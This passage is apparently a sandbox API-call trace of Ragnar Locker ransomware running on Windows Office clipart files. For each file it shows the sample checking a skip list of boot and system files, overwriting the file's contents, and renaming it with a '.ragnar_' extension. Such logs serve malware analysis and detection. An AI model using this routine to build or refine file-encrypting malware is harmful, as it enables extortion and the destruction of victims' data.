Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.515] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74832900, ftCreationTime.dwHighDateTime=0x1bd4bf7, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74832900, ftLastWriteTime.dwHighDateTime=0x1bd4bf7, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0080.515] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.515] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00923_.WMF" | out: lpString1="BL00923_.WMF") returned="BL00923_.WMF" [0080.515] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned=".WMF" [0080.515] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.515] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="autorun.inf") returned 1 [0080.515] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="boot.ini") returned -1 [0080.515] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="bootfont.bin") returned -1 [0080.515] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="bootsect.bak") returned -1 [0080.515] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="bootmgr") returned -1 [0080.515] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="bootmgr.efi") returned -1 [0080.515] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.515] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="desktop.ini") returned -1 [0080.515] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="iconcache.db") returned -1 [0080.515] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="ntldr") returned -1 [0080.515] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="ntuser.dat") returned -1 [0080.515] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.515] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="ntuser.ini") returned -1 [0080.516] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="thumbs.db") returned -1 [0080.516] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.516] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.516] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.516] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.516] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.516] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.516] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x20 [0080.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.516] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6256) returned 1 [0080.516] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1867, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.516] GetProcessHeap () returned 0x580000 [0080.516] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.516] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.518] VirtualAlloc (lpAddress=0x0, dwSize=0x1870, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.518] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.518] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.518] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1870, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1870, lpOverlapped=0x0) returned 1 [0080.519] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.519] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1870, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.519] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1870, lpOverlapped=0x0) returned 1 [0080.520] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1870, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.520] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.520] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1870, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.520] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.520] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.520] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.520] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.520] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.520] GetProcessHeap () returned 0x580000 [0080.520] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.520] CloseHandle (hObject=0xf4) returned 1 [0080.520] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" [0080.520] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.ragnar_FD7BD9FC" [0080.521] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.521] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0080.521] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.521] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00932_.WMF" | out: lpString1="BL00932_.WMF") returned="BL00932_.WMF" [0080.521] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned=".WMF" [0080.521] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.521] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="autorun.inf") returned 1 [0080.521] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="boot.ini") returned -1 [0080.521] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="bootfont.bin") returned -1 [0080.521] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="bootsect.bak") returned -1 [0080.521] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="bootmgr") returned -1 [0080.521] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="bootmgr.efi") returned -1 [0080.521] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.521] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="desktop.ini") returned -1 [0080.521] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="iconcache.db") returned -1 [0080.521] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="ntldr") returned -1 [0080.522] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="ntuser.dat") returned -1 [0080.522] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.522] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="ntuser.ini") returned -1 [0080.522] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="thumbs.db") returned -1 [0080.522] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.522] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.522] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.522] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.522] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.522] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.522] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x20 [0080.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.522] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19476) returned 1 [0080.522] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4c0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.522] GetProcessHeap () returned 0x580000 [0080.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.522] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.526] VirtualAlloc (lpAddress=0x0, dwSize=0x4c14, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.526] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.526] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.526] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4c14, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4c14, lpOverlapped=0x0) returned 1 [0080.527] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.527] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c14, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.527] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4c14, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4c14, lpOverlapped=0x0) returned 1 [0080.528] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c14, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.528] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.528] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.528] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.528] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.528] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.528] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.528] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.528] GetProcessHeap () returned 0x580000 [0080.528] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.528] CloseHandle (hObject=0xf4) returned 1 [0080.529] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" [0080.529] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.ragnar_FD7BD9FC" [0080.529] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.529] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d46d00, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7d46d00, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0080.529] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.529] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00985_.WMF" | out: lpString1="BL00985_.WMF") returned="BL00985_.WMF" [0080.529] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned=".WMF" [0080.529] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.529] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="autorun.inf") returned 1 [0080.529] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="boot.ini") returned -1 [0080.529] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="bootfont.bin") returned -1 [0080.529] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="bootsect.bak") returned -1 [0080.529] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="bootmgr") returned -1 [0080.530] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="bootmgr.efi") returned -1 [0080.530] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.530] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="desktop.ini") returned -1 [0080.530] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="iconcache.db") returned -1 [0080.530] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="ntldr") returned -1 [0080.530] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="ntuser.dat") returned -1 [0080.530] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.530] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="ntuser.ini") returned -1 [0080.530] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="thumbs.db") returned -1 [0080.530] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.530] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.530] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.530] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.530] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.530] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.530] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x20 [0080.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.531] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3768) returned 1 [0080.531] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xeaf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.531] GetProcessHeap () returned 0x580000 [0080.531] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.531] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.533] VirtualAlloc (lpAddress=0x0, dwSize=0xeb8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.533] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.533] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.533] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xeb8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xeb8, lpOverlapped=0x0) returned 1 [0080.533] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.533] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xeb8, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.533] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xeb8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xeb8, lpOverlapped=0x0) returned 1 [0080.533] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xeb8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.533] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.534] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xeb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.534] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.534] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.534] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.534] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.534] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.534] GetProcessHeap () returned 0x580000 [0080.534] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.534] CloseHandle (hObject=0xf4) returned 1 [0080.534] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" [0080.534] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.ragnar_FD7BD9FC" [0080.535] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.536] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0080.536] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program 